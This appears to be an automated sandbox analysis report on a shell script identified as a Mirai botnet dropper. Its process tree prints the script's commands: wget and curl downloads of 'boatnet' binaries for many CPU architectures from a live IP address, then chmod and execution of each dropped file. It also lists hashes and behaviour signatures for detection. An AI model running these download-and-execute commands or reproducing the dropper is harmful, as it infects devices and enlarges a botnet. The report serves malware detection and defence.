Analysis

  • max time kernel
    44s
  • max time network
    47s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    23-12-2024 05:02

General

  • Target

    ohshit.sh

  • Size

    3KB

  • MD5

    e0ccd217979419469e913cbef10872f3

  • SHA1

    6bbef022dcf450af81bee90522e4c82069c84064

  • SHA256

    288bf21e07a5cc2a9f12c856ed829b9266878621c823542150ee74e961cc5d71

  • SHA512

    38402719e384396071ab1f779eb0d67a55570ecfb04018e47cafdfd73ce04984e15c0d2942b446cee5652a449e22a8690812dbe5fd232736cb8a3939531255ce

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 15 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:713
    • /usr/bin/wget
      wget http://154.213.187.234:3000/hiddenbin/boatnet.x86
      2⤵
        PID:716
      • /usr/bin/curl
        curl -O http://154.213.187.234:3000/hiddenbin/boatnet.x86
        2⤵
        • Reads runtime system information
        PID:727
      • /bin/cat
        cat boatnet.x86
        2⤵
          PID:736
        • /bin/chmod
          chmod +x ohshit.sh systemd-private-2b54cc0a1deb4caa8ff5b672da286b49-systemd-timedated.service-lRJNsh WTF
          2⤵
          • File and Directory Permissions Modification
          PID:737
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          PID:739
        • /usr/bin/wget
          wget http://154.213.187.234:3000/hiddenbin/boatnet.mips
          2⤵
          • System Network Configuration Discovery
          PID:742
        • /usr/bin/curl
          curl -O http://154.213.187.234:3000/hiddenbin/boatnet.mips
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          PID:744
        • /bin/cat
          cat boatnet.mips
          2⤵
          • System Network Configuration Discovery
          PID:746
        • /bin/chmod
          chmod +x ohshit.sh systemd-private-2b54cc0a1deb4caa8ff5b672da286b49-systemd-timedated.service-lRJNsh WTF
          2⤵
          • File and Directory Permissions Modification
          PID:747
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          PID:748
        • /usr/bin/wget
          wget http://154.213.187.234:3000/hiddenbin/boatnet.arc
          2⤵
            PID:750
          • /usr/bin/curl
            curl -O http://154.213.187.234:3000/hiddenbin/boatnet.arc
            2⤵
            • Reads runtime system information
            PID:751
          • /bin/cat
            cat boatnet.arc
            2⤵
              PID:752
            • /bin/chmod
              chmod +x ohshit.sh systemd-private-2b54cc0a1deb4caa8ff5b672da286b49-systemd-timedated.service-lRJNsh WTF
              2⤵
              • File and Directory Permissions Modification
              PID:753
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              PID:754
            • /usr/bin/wget
              wget http://154.213.187.234:3000/hiddenbin/boatnet.i468
              2⤵
                PID:756
              • /usr/bin/curl
                curl -O http://154.213.187.234:3000/hiddenbin/boatnet.i468
                2⤵
                • Reads runtime system information
                PID:757
              • /bin/cat
                cat boatnet.i468
                2⤵
                  PID:758
                • /bin/chmod
                  chmod +x ohshit.sh systemd-private-2b54cc0a1deb4caa8ff5b672da286b49-systemd-timedated.service-lRJNsh WTF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:759
                • /tmp/WTF
                  ./WTF
                  2⤵
                  • Executes dropped EXE
                  PID:760
                • /usr/bin/wget
                  wget http://154.213.187.234:3000/hiddenbin/boatnet.i686
                  2⤵
                    PID:762
                  • /usr/bin/curl
                    curl -O http://154.213.187.234:3000/hiddenbin/boatnet.i686
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:763
                  • /bin/cat
                    cat boatnet.i686
                    2⤵
                      PID:764
                    • /bin/chmod
                      chmod +x boatnet.i686 ohshit.sh systemd-private-2b54cc0a1deb4caa8ff5b672da286b49-systemd-timedated.service-lRJNsh WTF
                      2⤵
                      • File and Directory Permissions Modification
                      PID:765
                    • /tmp/WTF
                      ./WTF
                      2⤵
                      • Executes dropped EXE
                      PID:766
                    • /usr/bin/wget
                      wget http://154.213.187.234:3000/hiddenbin/boatnet.x86_64
                      2⤵
                        PID:767
                      • /usr/bin/curl
                        curl -O http://154.213.187.234:3000/hiddenbin/boatnet.x86_64
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:768
                      • /bin/cat
                        cat boatnet.x86_64
                        2⤵
                          PID:776
                        • /bin/chmod
                          chmod +x boatnet.i686 boatnet.x86_64 ohshit.sh systemd-private-2b54cc0a1deb4caa8ff5b672da286b49-systemd-timedated.service-lRJNsh WTF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:777
                        • /tmp/WTF
                          ./WTF
                          2⤵
                          • Executes dropped EXE
                          PID:779
                        • /usr/bin/wget
                          wget http://154.213.187.234:3000/hiddenbin/boatnet.mpsl
                          2⤵
                          • Writes file to tmp directory
                          PID:780
                        • /usr/bin/curl
                          curl -O http://154.213.187.234:3000/hiddenbin/boatnet.mpsl
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:788
                        • /bin/cat
                          cat boatnet.mpsl
                          2⤵
                            PID:798
                          • /bin/chmod
                            chmod +x boatnet.i686 boatnet.mpsl boatnet.x86_64 ohshit.sh systemd-private-2b54cc0a1deb4caa8ff5b672da286b49-systemd-timedated.service-lRJNsh WTF
                            2⤵
                            • File and Directory Permissions Modification
                            PID:799
                          • /tmp/WTF
                            ./WTF
                            2⤵
                            • Executes dropped EXE
                            PID:800
                          • /usr/bin/wget
                            wget http://154.213.187.234:3000/hiddenbin/boatnet.arm
                            2⤵
                            • Writes file to tmp directory
                            PID:804
                          • /usr/bin/curl
                            curl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:813
                          • /bin/cat
                            cat boatnet.arm
                            2⤵
                              PID:824
                            • /bin/chmod
                              chmod +x boatnet.arm boatnet.i686 boatnet.mpsl boatnet.x86_64 ohshit.sh systemd-private-2b54cc0a1deb4caa8ff5b672da286b49-systemd-timedated.service-lRJNsh WTF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:825
                            • /tmp/WTF
                              ./WTF
                              2⤵
                              • Executes dropped EXE
                              PID:826
                            • /usr/bin/wget
                              wget http://154.213.187.234:3000/hiddenbin/boatnet.arm5
                              2⤵
                              • Writes file to tmp directory
                              PID:828
                            • /usr/bin/curl
                              curl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm5
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:830
                            • /bin/cat
                              cat boatnet.arm5
                              2⤵
                                PID:831
                              • /bin/chmod
                                chmod +x boatnet.arm boatnet.arm5 boatnet.i686 boatnet.mpsl boatnet.x86_64 ohshit.sh systemd-private-2b54cc0a1deb4caa8ff5b672da286b49-systemd-timedated.service-lRJNsh WTF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:832
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                • Executes dropped EXE
                                PID:833
                              • /usr/bin/wget
                                wget http://154.213.187.234:3000/hiddenbin/boatnet.arm6
                                2⤵
                                • Writes file to tmp directory
                                PID:835
                              • /usr/bin/curl
                                curl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm6
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:836
                              • /bin/cat
                                cat boatnet.arm6
                                2⤵
                                  PID:837
                                • /bin/chmod
                                  chmod +x boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i686 boatnet.mpsl boatnet.x86_64 ohshit.sh systemd-private-2b54cc0a1deb4caa8ff5b672da286b49-systemd-timedated.service-lRJNsh WTF
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:838
                                • /tmp/WTF
                                  ./WTF
                                  2⤵
                                  • Executes dropped EXE
                                  PID:839
                                • /usr/bin/wget
                                  wget http://154.213.187.234:3000/hiddenbin/boatnet.arm7
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:841
                                • /usr/bin/curl
                                  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm7
                                  2⤵
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:848
                                • /bin/cat
                                  cat boatnet.arm7
                                  2⤵
                                    PID:860
                                  • /bin/chmod
                                    chmod +x boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i686 boatnet.mpsl boatnet.x86_64 ohshit.sh WTF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:861
                                  • /tmp/WTF
                                    ./WTF
                                    2⤵
                                    • Executes dropped EXE
                                    PID:863
                                  • /usr/bin/wget
                                    wget http://154.213.187.234:3000/hiddenbin/boatnet.ppc
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:866
                                  • /usr/bin/curl
                                    curl -O http://154.213.187.234:3000/hiddenbin/boatnet.ppc
                                    2⤵
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:873
                                  • /bin/cat
                                    cat boatnet.ppc
                                    2⤵
                                      PID:882
                                    • /bin/chmod
                                      chmod +x boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i686 boatnet.mpsl boatnet.ppc boatnet.x86_64 ohshit.sh WTF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:883
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                      • Executes dropped EXE
                                      PID:884
                                    • /usr/bin/wget
                                      wget http://154.213.187.234:3000/hiddenbin/boatnet.spc
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:886
                                    • /usr/bin/curl
                                      curl -O http://154.213.187.234:3000/hiddenbin/boatnet.spc
                                      2⤵
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:887
                                    • /bin/cat
                                      cat boatnet.spc
                                      2⤵
                                        PID:888
                                      • /bin/chmod
                                        chmod +x boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i686 boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86_64 ohshit.sh WTF
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:889
                                      • /tmp/WTF
                                        ./WTF
                                        2⤵
                                        • Executes dropped EXE
                                        PID:890
                                      • /usr/bin/wget
                                        wget http://154.213.187.234:3000/hiddenbin/boatnet.m68k
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:892
                                      • /usr/bin/curl
                                        curl -O http://154.213.187.234:3000/hiddenbin/boatnet.m68k
                                        2⤵
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:893
                                      • /bin/cat
                                        cat boatnet.m68k
                                        2⤵
                                          PID:894
                                        • /bin/chmod
                                          chmod +x boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i686 boatnet.m68k boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86_64 ohshit.sh WTF
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:895
                                        • /tmp/WTF
                                          ./WTF
                                          2⤵
                                          • Executes dropped EXE
                                          PID:896
                                        • /usr/bin/wget
                                          wget http://154.213.187.234:3000/hiddenbin/boatnet.sh4
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:898
                                        • /usr/bin/curl
                                          curl -O http://154.213.187.234:3000/hiddenbin/boatnet.sh4
                                          2⤵
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:899
                                        • /bin/cat
                                          cat boatnet.sh4
                                          2⤵
                                            PID:900
                                          • /bin/chmod
                                            chmod +x boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i686 boatnet.m68k boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86_64 ohshit.sh WTF
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:901
                                          • /tmp/WTF
                                            ./WTF
                                            2⤵
                                            • Executes dropped EXE
                                            PID:902

                                        Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • /tmp/WTF

                                          Filesize

                                          232B

                                          MD5

                                          7dfb9a4219d20c6babc4877451844e3c

                                          SHA1

                                          8b56a18d01c00f757df29faeb95b2711ecd3cd18

                                          SHA256

                                          9177a352dcbf8875ebb2e22e682760d47faa4d77398add153dd7084e7568c5bc

                                          SHA512

                                          7355451c27cd2fe7e03af772a8911fff879e64b04c8e002d4335ff890957a04e611e444131ddab6e171e0a21a72cbbe75f9b5cc338a72d2d24ec6d71d59998c9

                                        • /tmp/WTF

                                          Filesize

                                          24KB

                                          MD5

                                          141c0ef107c784d2edf8f36452607940

                                          SHA1

                                          8fa6077965a19f6532081d40e037555bf763a8d3

                                          SHA256

                                          bdaaf1c702c08f65564847e37baba01f859c0850c5071a9a554b193efa760bc2

                                          SHA512

                                          43c8e7e71fad65057540b88fcbb1edc2fa3d1ef9f5b4e523b78d425120b52707cf5a2d7575ab93cc090d616f9a524a6d97ed1b8ce17979bbebd11d39c256db14

                                        • /tmp/WTF

                                          Filesize

                                          21KB

                                          MD5

                                          2706dca6a43829baaca013cae9c8a336

                                          SHA1

                                          156da3f799279ed0e3a9bb704da91d292ec6e1e6

                                          SHA256

                                          59601bd421bf7a72c0ec95ff44ea45aa241f88e832806defbbf77a9567a6c14c

                                          SHA512

                                          f321779b067765c54218743a7db184b901f6487ac6f5fcc1b0b3748d465a6222256a86116fc903810853b10eded99652f7553ce43c46adb39c4b75c391bb77e2

                                        • /tmp/WTF

                                          Filesize

                                          57KB

                                          MD5

                                          549940fef5478737eae8c25bcfed0952

                                          SHA1

                                          bc44d8bf8282eddc6df04beb5d1d3dac465371db

                                          SHA256

                                          e2409e6b5b2b1769f1f4eca9ee84024a59145cdcf7bf7893fcc83095f1bbfced

                                          SHA512

                                          3f8a2d29f312e3ce30a1491b83f2a70c8bfe67b752b6e490ea8f6d129f15ad3847eaffcdffca4238d5171b0b1f6d2eaf2cc21ed8fc5b2b2f016c98407a349e08